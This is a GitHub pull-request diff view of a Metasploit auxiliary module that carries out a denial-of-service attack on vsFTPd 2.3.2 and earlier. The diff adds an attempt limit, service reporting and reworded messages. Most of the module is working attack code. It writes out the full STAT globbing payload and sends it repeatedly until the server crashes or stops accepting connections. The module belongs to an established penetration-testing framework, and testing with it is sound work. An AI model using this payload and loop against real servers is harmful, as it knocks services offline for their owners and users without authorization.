Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
53 changes: 40 additions & 13 deletions modules/auxiliary/dos/ftp/vsftpd_232.rb
Original file line number Diff line number Diff line change
Expand Up @@ -6,15 +6,17 @@
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Dos
include Msf::Auxiliary::Report

def initialize(info = {})
super(
update_info(
info,
'Name' => 'VSFTPD 2.3.2 Denial of Service',
'Description' => %q{
'Name' => 'VSFTPD 2.3.2 and Earlier STAT Denial of Service',
'Description' => %q{
This module triggers a Denial of Service condition in the VSFTPD server in
versions before 2.3.3. So far, it has been tested on 2.3.0, 2.3.1, and 2.3.2.
versions before 2.3.3 (tested on 2.3.0, 2.3.1, and 2.3.2).
Version 2.3.3 and higher should not be vulnerable.
},
'Author' => [
'Nick Cottrell (Rad10Logic) <ncottrellweb[at]gmail.com>', # Module Creator
Expand All @@ -36,22 +38,37 @@ def initialize(info = {})
}
)
)

register_options([
OptInt.new('MAX_ATTEMPTS', [false, 'Maximum payload attempts before giving up (0 = unlimited)', 25])
])
end

def check
# attempt to connect
begin
if !connect_login
print_error('Connection refused.')
print_error('Connection refused')
return Exploit::CheckCode::Unknown('Failed to connect or authenticate via FTP')
end

banner = banner.to_s.strip
vprint_status("FTP banner: #{banner.strip}") unless banner.empty?
report_service(
host: rhost,
port: rport,
proto: 'tcp',
name: 'ftp',
info: banner.to_s.gsub(/^\d{3}[\s-]/, '').strip.gsub(/\A\(|\)\z/, '')
)
rescue Rex::ConnectionRefused
print_error('Connection refused.')
print_error('Connection refused')
return Exploit::CheckCode::Unknown('Connection refused by the target')
rescue Rex::ConnectionTimeout
print_error('Connection timed out')
return Exploit::CheckCode::Unknown('Connection timed out')
end

s = ''
loop do
# get each line until our desired line shows or end line shows
Expand All @@ -61,29 +78,38 @@ def check
disconnect
# check if version was found
if s !~ /vsFTPd \d+\.\d+\.\d+/
print_error('Did not find FTP version in FTP session.')
print_error('Did not find FTP version in FTP session')
return Exploit::CheckCode::Unknown('Could not determine vsFTPd version')
end

# pull out version and check if its in range of vulnerability
version = s[/\d+\.\d+\.\d+/]
version = s[/vsFTPd (\d+\.\d+\.\d+)/, 1]
if Rex::Version.new(version) < Rex::Version.new('2.3.3')
Exploit::CheckCode::Appears("vsFTPd #{version} is older than the patched version 2.3.3")
Exploit::CheckCode::Appears("VSFTPD #{version} is vulnerable (affected: <= 2.3.2)")
else
Exploit::CheckCode::Safe("vsFTPd #{version} is not vulnerable")
Exploit::CheckCode::Safe("VSFTPD #{version} is not vulnerable (affected: <= 2.3.2)")
end
end

def run
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') if check != Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target is not vulnerable') if check != Exploit::CheckCode::Appears

payload = 'STAT ' + '{{*},' * 487 + '{.}' + '}' * 487

vprint_status("Payload being sent: #{payload}")
print_status('sending payload')

attempts = 0
max = datastore['MAX_ATTEMPTS'].to_i

loop do
print('.')
attempts += 1
if max > 0 && attempts > max
print_error("Reached #{max} attempts without DoS")
break
end
print_status("Attempt: #{attempts}")

connect_login
10.times do
send_cmd([payload.to_s], false)
Expand All @@ -98,10 +124,11 @@ def run
print_error('Connection reset!')
rescue Rex::ConnectionRefused
print("\n")
print_good('Connection refused! Appears DOS attack succeeded.')
print_good('Connection refused! Appears DoS attack succeeded')
break
rescue EOFError
print("\n")
print_good('Stream was cut off abruptly. Appears DOS attack succeeded.')
print_good('Stream was cut off abruptly. Appears DoS attack succeeded')
break
end
disconnect
Expand Down
Loading